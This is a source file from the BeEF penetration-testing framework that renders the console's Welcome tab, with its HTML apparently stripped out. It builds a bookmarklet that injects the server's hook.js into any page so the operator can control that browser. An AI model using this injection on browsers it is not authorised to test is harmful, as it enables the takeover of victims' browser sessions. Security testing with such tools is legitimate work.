// // Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // WelcomeTab = function() { var hookURL = location.protocol+'%2f%2f'+location.hostname+(location.port ? ':'+location.port : '')+'%2fhook.js'; var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27__HOOKURL__%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();" bookmarklet = bookmarklet.replace(/__HOOKURL__/,hookURL); welcome = " \
\

BeEF - The Browser Exploitation Framework


\

Official website: http://beefproject.com/


\

Getting Started


\

Welcome to BeEF!


\

Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.


\

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!


\

After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework.


\

Hooked Browsers


\

To interact with a hooked browser simply left-click it, a new tab will appear. \ Each hooked browser tab has a number of sub-tabs, described below:


\
\

You can also right-click a hooked browser to open a context-menu with additional functionality:


\
\

Learn More


\

To learn more about how BeEF works please review the wiki:


\ \
\ "; welcome = welcome.replace(/__BOOKMARKLETURL__/,bookmarklet); WelcomeTab.superclass.constructor.call(this, { region:'center', padding:'10 10 10 10', html: welcome, autoScroll: true, border: false }); }; Ext.extend(WelcomeTab,Ext.Panel, {});